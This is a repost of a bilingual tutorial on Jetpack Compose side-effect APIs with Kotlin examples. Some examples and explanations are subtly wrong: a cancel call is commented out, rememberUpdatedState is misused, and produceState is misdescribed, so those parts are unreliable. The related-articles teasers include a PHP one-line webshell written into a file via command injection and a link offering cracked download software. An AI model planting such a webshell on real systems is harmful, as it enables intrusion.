Jetpack Compose Side Effects in Details 副作用的详细信息

news2024/12/23 10:36:04

What is Side Effect’s? 副作用是什么?

Side Effects is a change in the state of the application that occurs outside the scope of the composable function and is not related to the UI. In non-UI related state changes, our screen may recompose more than necessary. This causes performance loss in our application.
副作用是指在可组合函数范围之外发生的应用程序状态更改,并且与 UI 无关。在非 UI 相关的状态更改中,我们的屏幕可能会进行不必要的重组。这会导致我们的应用程序性能下降。

  • API request as a result of the user clicking the button.
    用户单击按钮后产生的 API 请求。
  • Database operations in the application.
    应用程序中的数据库操作。

LaunchedEffect

LaunchedEffect, takes two arguments, key for representing when should it be executed and block to declare the lambda function. Whenever the key value changes, this lambda is triggered and the functions in scope are executed. If the key is not defined, then it gets executed only when the initial composition occurs and updates the UI.
LaunchedEffect 接受两个参数,key 用于表示何时执行,以及 block 来声明 lambda 函数。每当键值发生变化时,就会触发此 lambda 并执行作用域中的函数。如果未定义该键,则仅在初始组合发生并更新 UI 时执行它。

The most important feature of Launched Effect is that it can work with asynchronous processes and initialise Coroutines.
Launched Effect 最重要的特点是它可以与异步进程一起工作并初始化协程。

@Composable
fun Header() {
    var launchEffectState by remember { mutableStateOf(true) }
    var defaultState by remember { mutableStateOf(true) }
    val context = LocalContext.current

    LaunchedEffect(key1 = launchEffectState) {
        Toast.makeText(context, "Launch Effect State Tetiklendi!", Toast.LENGTH_LONG).show()
    }

    Toast.makeText(LocalContext.current, "Default State Tetiklendi!", Toast.LENGTH_LONG).show()

    Column(
        modifier = Modifier.fillMaxSize(),
        horizontalAlignment=Alignment.CenterHorizontally,
        verticalArrangement = Arrangement.Center
    ) {
        Text(
            modifier = Modifier.clickable { launchEffectState = !launchEffectState },
            text = "Launch Effect State: $launchEffectState",
            fontSize = 32.sp
        )
        Spacer(modifier = Modifier.height(16.dp))
        Text(
            modifier = Modifier.clickable { defaultState = !defaultState },
            text = "Default state: $defaultState",
            fontSize = 32.sp
        )
    }
}

DisposableEffect

The Disposable Effect is triggered when the composable function is first created, then used to release the resource it uses when the composable is removed from the screen.
Disposable Effect 在首次创建可组合函数时触发,然后用于在可组合函数从屏幕上移除时释放其使用的资源。

Disposable Effect Block: This block defines the operations in DisposableEffect. This is typically when the Composable is initially displayed or when its parent Composable is initially composed. It is usually used to initialise a resource or start another interaction.
**Disposable Effect 块:**该块定义了 DisposableEffect 中的操作。这通常是在可组合项最初显示时或其父可组合项最初组合时。它通常用于初始化资源或启动另一个交互。

OnDispose Block: The code inside the onDispose block is executed when the Composable is removed from the composition. In this block, operations such as cleaning or deactivating resources are executed.
**OnDispose 块:**当从组合中删除可组合项时,将执行 onDispose 块内的代码。在该块中,执行清理或停用资源等操作。

@Composable
fun TimerScreen() {
    val elapsedDuration = remember { mutableStateOf(0) }
    DisposableEffect(Unit) {

        val scope = CoroutineScope(Dispatchers.Default)

        val job = scope.launch {
            while (true) {
                delay(1000)
                elapsedDuration.value += 1
                println("The timer is still running ${elapsedDuration.value}")
            }
        }

        onDispose {
            //job.cancel()
            println("Timer cancelled ${elapsedDuration.value}")
        }
    }

    Text(
        text = "Geçen Süre: ${elapsedDuration.value}",
        modifier = Modifier.padding(16.dp),
        fontSize = 24.sp
    )
}

@Composable
fun RunTimerScreen() {
    val isVisible = remember { mutableStateOf(true) }

    Column(
        horizontalAlignment = Alignment.CenterHorizontally,
        verticalArrangement = Arrangement.Center
    ) {
        Spacer(modifier = Modifier.height(10.dp))

        if (isVisible.value)
            TimerScreen()

        Button(onClick = { isVisible.value = false }) {
            Text("Hide Timer")
        }
    }
}

rememberCoroutineScope

Composable is used to start the coroutine as a result of a trigger in the function. For example, it is used in cases such as making a network request as a result of the user clicking a button. This is particularly useful when you need to launch and manage coroutines within Jetpack Compose components, ensuring that they are canceled appropriately when the Composable is removed from the UI hierarchy.
可组合用于在函数中触发时启动协程。例如,它用于诸如由于用户单击按钮而发出网络请求的情况。当您需要在 Jetpack Compose 组件中启动和管理协程时,这特别有用,确保在从 UI 层次结构中删除 Composable 时适当地取消它们。

@Composable
fun Header(scope: CoroutineScope) {
    var state by remember { mutableStateOf(true) }
    val context = LocalContext.current

    Column(
        modifier = Modifier.fillMaxSize(),
        horizontalAlignment = Alignment.CenterHorizontally,
        verticalArrangement = Arrangement.Center
    ) {
        Text(
            modifier = Modifier.clickable {
                scope.launch {
                    delay(3000)
                    Toast.makeText(context, "Hello world $state", Toast.LENGTH_LONG).show()
                }
            },
            text = "Hello world $state",
            fontSize = 32.sp
        )
        Spacer(modifier = Modifier.height(16.dp))
        Text(
            modifier = Modifier.clickable {
                state = !state
            },
            text = "Hello amigo $state",
            fontSize = 32.sp
        )
    }
}

rememberCoroutineScope vs LaunchedEffect

LaunchedEffect should be used when you want that some action must be taken when your composable is first launched/relaunched (or when the key parameter has changed).
当您希望在首次启动/重新启动可组合项时(或当关键参数发生更改时)必须执行某些操作时,应使用LaunchedEffect
rememberCoroutineScope on the other hand, is specific to store the Coroutine scope allowing the code to launch some suspend function.
另一方面, rememberCoroutineScope 专门用于存储 Coroutine scope,允许代码启动某些挂起函数。

The example above shows the code blocks that display a list of type Booking. When remembercoroutinescope is used in the example on the left, a new network request will be made every time the screen is recomposed. In the Launched Effect example on the right, the recomposition is not affected by the recomposition status and the request will be made only when the screen is loaded for the first time.
上面的示例展示了显示 Booking 类型列表的代码块。当左侧示例中使用remembercoroutinescope时,每次界面重组时都会发出新的网络请求。在右侧的 Launched Effect 示例中,重组不受重组状态的影响,仅在第一次加载屏幕时才会发出请求。

SideEffect

Just like in Luanch Effect, we write the codes that we do not want to run in every recompose under the Side Effect scope. The most important difference from Launch Effect is that Side Effect does not work with coroutine.
就像在 Luanch Effect 中一样,我们在 Side Effect 范围内编写了不想在每次重构中运行的代码。与 Launch Effect 最重要的区别是 Side Effect 不能与协程一起使用。

@Composable
fun WithOutSideEffectExample() {
    val count = remember { mutableStateOf(0) }

    SideEffect {
        println("Count is ${count.value}")
    }
    Button(onClick = { count.value++ }) {
        Text(text = "Click here!")
    }
}

derivedStateOf

derivedStateOf should be used when your state or key changes more than you want to update your UI. We solve this problem by filtering between derivedStateOf scopes. It can be extremely effective in minimising recomposition.
当您的状态或键更改超过您想要更新 UI 的程度时,应使用 derivedStateOf。我们通过在衍生状态范围之间进行过滤来解决这个问题。它可以非常有效地减少重组。

rememberUpdatedState

The rememberUpdatedState is a side effect handler provided by Jetpack Compose that is used to ensure that a Composable always reflects the most up-to-date state when it’s recomposed. It’s particularly useful when you need to work with a snapshot of some state that might change during the composition process.
rememberUpdatedState 是 Jetpack Compose 提供的副作用处理程序,用于确保 Composable 在重构时始终反映最新状态。当您需要处理在合成过程中可能发生变化的某些状态的快照时,它特别有用。

@Composable
fun Header() {
    var caller by remember { mutableStateOf("Default") }
    Column(
        horizontalAlignment = Alignment.CenterHorizontally,
        verticalArrangement = Arrangement.Center
    ) {
        Text(
            modifier = Modifier.clickable { caller = "First Text" },
            text = "Clicked, $caller",
            color= Color.Black,
            fontSize = 32.sp
        )
        Text(
            modifier = Modifier.clickable { caller = "Second Text" },
            text = "Clicked, $caller",
            color= Color.Blue,
            fontSize = 32.sp
        )
        CallTimer(caller)
    }
}
@Composable
fun CallTimer(caller: String) {
    println("Composable: $caller")
    val updated by rememberUpdatedState(newValue =caller )
    LaunchedEffect(key1 = Unit) {
        delay(7000)
        println("LaunchedEffect: $caller")
    }
}

produceState

produceState is a simple concept that combines the functionality of remember and LaunchedEffect. It creates a state variable and then updates the value of the state variable based on the results of a side effect. This can be used to ensure that your composables are always displaying the latest data.
ProduceState 是一个简单的概念,结合了 Remember 和 LaunchedEffect 的功能。它创建一个状态变量,然后根据副作用的结果更新状态变量的值。这可用于确保您的可组合项始终显示最新数据。

The produce state composable takes initialValue and producer. InitialValue is the initial value of the state variable. Producer is a lambda that defines the side effect that will be executed to update the value of the state variable. This lambda will be executed when the produce state composable is first composed, and it will be executed again whenever the value of the state variable changes.
生产状态可组合项采用初始值生产者。 InitialValue 是状态变量的初始值。 Producer 是一个 lambda,它定义将执行以更新状态变量值的副作用。该 lambda 将在第一次组合生成状态可组合项时执行,并且每当状态变量的值发生变化时都会再次执行。

@Composable
fun MyComposition() {

    var isLoading: Boolean by remember { mutableStateOf(true)}

    val data: String by produceState(initialValue = "") {
        value = getData()
        isLoading = false
    }

    Column(
        horizontalAlignment = Alignment.CenterHorizontally,
        verticalArrangement = Arrangement.Center
    ) {
        if (isLoading) {
            CircularProgressIndicator()
        } else {
            Text(text = data)
        }
    }
}

suspend fun getData(): String {
    delay(4000) // simulate a long-running operation
    return "Data loaded from a data source"
}

Jetpack Compose Side Effects in Details | by Nasuh Ünal | Sep, 2024 | Medium

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2134957.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一、机器学习算法与实践_02KNN算法笔记

1、KNN基本介绍 1.1 定义 KNN(K-NearestNeighbor,即:K最邻近算法)是一种基于实例的学习方法,用于分类和回归任务,它通过查找一个数据点的最近邻居来预测该数据点的标签或数值。 所谓K最近邻,…

性能测试-性能分析与调优原理总结

性能分析与调优如何下手,先从硬件开始,还是先从代码或数据库。 从操作系统(CPU调度,内存管理,进程调度,磁盘I/O)、网络、协议(HTTP, TCP/IP ),还是…

Elasticsearch基础(七):Logstash如何开启死信队列

文章目录 Logstash如何开启死信队列 一、确保 Elasticsearch 输出插件启用 DLQ 支持 二、配置 Logstash DLQ 设置 三、查看死信队列 四、排查 CSV 到 Elasticsearch 数据量不一致的问题 Logstash如何开启死信队列 在 Logstash 中,死信队列(Dead Le…

【Elasticsearch系列二】安装 Kibana

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

seafaring寻找漏洞

一.命令执行漏洞 &#xff08;1&#xff09;下面有一个输入框&#xff0c;输入ls进行查看 &#xff08;2&#xff09;输入echo <?php phpinfo();?> > qxl.php 并且访问 (3)写入一句话木马&#xff0c;并且访问蚁剑连接 echo <?php eval($_POST[cmd];?>>…

1T机械硬盘需要分区吗?你必须知道的分区知识

随着科技的不断发展&#xff0c;计算机存储设备的容量日益增大&#xff0c;1T(1TB&#xff0c;即1024GB)机械硬盘已成为许多电脑用户的标配。然而&#xff0c;在这样一个大容量硬盘面前&#xff0c;很多用户都会面临一个问题&#xff1a;是否需要对这块硬盘进行分区&#xff1f…

electron有关mac构建

针对 Mac M1/2/3 芯片的设备&#xff0c;proces.archarm64. 执行下面命令&#xff0c;检查下按照的 node.js 版本是不是 intel x64 指令集&#xff0c;如果是的话安装下 arm64 指令集的 node.js终端中执行以下命令&#xff1a;node -p process.arch 对应的node版本也是arm版 …

启明星辰防火墙结合宁盾双因素认证方案

防火墙是企业网络安全的第一道防线。近年来网络设备、安全设备的特权账号成为不法分子恶意攻击的首要目标&#xff0c;因此加强对防火墙登录&#xff08;特权账号&#xff09;身份鉴别十分重要。以启明星辰天清汉马USG防火墙为例&#xff0c;结合宁盾双因素认证&#xff0c;为特…

【C++】————IO流

作者主页&#xff1a; 作​​​​​​者主页 本篇博客专栏&#xff1a;C 创作时间 &#xff1a;2024年9月9日 一、C语言的输入和输出 C语言中我们用到的最频繁的输入输出方式就是 scanf() 和 printf()。 scanf()&#xff1a;从标准输入设备&#xff08;键盘&#xff09;读…

图像滤波---各项异性扩散滤波使用笔记及代码

图像滤波---各项异性扩散滤波使用笔记及代码 一、文章内容介绍二、各项异性扩散滤波和各项同性滤波1、各项同性滤波2、各项异性扩散滤波3、各项异性和各项同性的对比 三、各项异性扩散滤波的原理介绍四、各项异性扩散滤波公式五、公式中的参数使用说明1、扩散速率 λ \lambda λ…

关键错误 你的开始菜单出现了问题 我们将尝试在你下一次登录时修复它。【笔记】

使用场景设备为Windows11系统&#xff0c;处理提示“关键错误 你的开始菜单出现了问题 我们将尝试在你下一次登录时修复它。”方法之一 处理步骤如下&#xff1a; 1、打开【设置】→【Windows更新】→【高级选项】。 2、切换界面选择【恢复】。 3、选择【使用Windows更新…

redhat目录结构详解

1、/&#xff1a; 根目录 2、/bin&#xff1a; 二进制文件&#xff0c;即命令&#xff0c;即linux的用户命令放在/bin目录中。 3、/boot&#xff1a; 跟启动相关的文件&#xff0c;比如内核都放在/boot目录中。 4、/dev&#xff1a; 内存中的目录&#xff0c;关…

基于Spark框架实现XGBoost模型

基于Spark框架实现XGBoost模型 原生的Spark MLlib并不支持XGBoost算法&#xff0c;但XGBoost4J-Spark提供了一种解决方案&#xff0c;使得我们可以在Spark环境中调用XGBoost。XGBoost4J-Spark是一个项目&#xff0c;旨在无缝集成XGBoost和Apache Spark&#xff0c;通过适配XGB…

为什么是删除缓存,而不是更新缓存?

一、事情起因 一般来说数据库与缓存一致性的方案大致有以下几种&#xff1a; 其中Cache-Aside Pattern&#xff0c;也被称为旁路缓存模式应该是使用的比较广泛 Cache-Aside Pattern&#xff0c;也被称为旁路缓存模式&#xff0c;是一种常见的缓存设计模式&#xff0c;其中缓存…

和鲸科技聘任上海交通大学医学院张维拓老师为公司医学行业专家顾问

2024 年 9 月 13 日&#xff0c;上海和今信息科技有限公司&#xff08;以下简称“和鲸科技”&#xff09;举行了聘任仪式&#xff0c;聘请上海交通大学医学院临床研究中心副研究员张维拓老师为和鲸科技医学行业专家顾问&#xff0c;共同为医疗相关机构及相关院校提供完整的高质…

VMware软件下载,VMware虚拟机软件下载安装,VMware功能介绍

VMware是一款虚拟化软件&#xff0c;它具有许多独特的功能&#xff0c;可以帮助用户更好地管理和使用计算机资源。在本文中&#xff0c;我将介绍VMware软件的三个独特功能&#xff0c;并结合实际案例进行详细说明。 虚拟硬件 VMware最新中文版获取&#xff1a; hairuanku.top…

【自用软件】IDM下载器 Internet Download Manager v6.42 Build 10

下载IDM&pj安装教程 Internet Download Manager&#xff0c;简称 IDM&#xff0c;是国外的一款优秀下载工具。目前凭借着下载计算的速度优势在外媒网站中均受好评&#xff0c;现在已被多数国人熟知。Internet Download Manager 提升你的下载速度最多达5倍&#xff0c;安排下…

Linux基础3-基础工具2(vim详解,gcc详解)

上篇文章&#xff1a;Linux基础3-基础工具1(什么是工具&#xff0c;yum&#xff0c;vim基础)-CSDN博客 本章重点&#xff1a; 1. vim详解 2. gcc详解 目录 一. vim详解 1.1 命令模式 1.2 插入模式 1.3 底行模式 二. gcc/g 2.1 程序的翻译过程&#xff08;c/c代码执行过…

海报生成用什么软件好?小白看这里

想要让你的信息在人群中脱颖而出吗&#xff1f;一张精心设计的海报无疑是最佳选择。 无论是宣传活动、展示作品还是装饰空间&#xff0c;海报都能以视觉的力量抓住人们的眼球。 但海报制作软件哪个好呢&#xff1f;别急&#xff0c;这里有五个超实用的海报制作软件&#xff0…

「漏洞复现」紫光电子档案管理系统 selectFileRemote SQL注入漏洞

0x01 免责声明 请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本人负责&#xff0c;作者不为此承担任何责任。工具来自网络&#xff0c;安全性自测&#xff0c;如有侵权请联系删…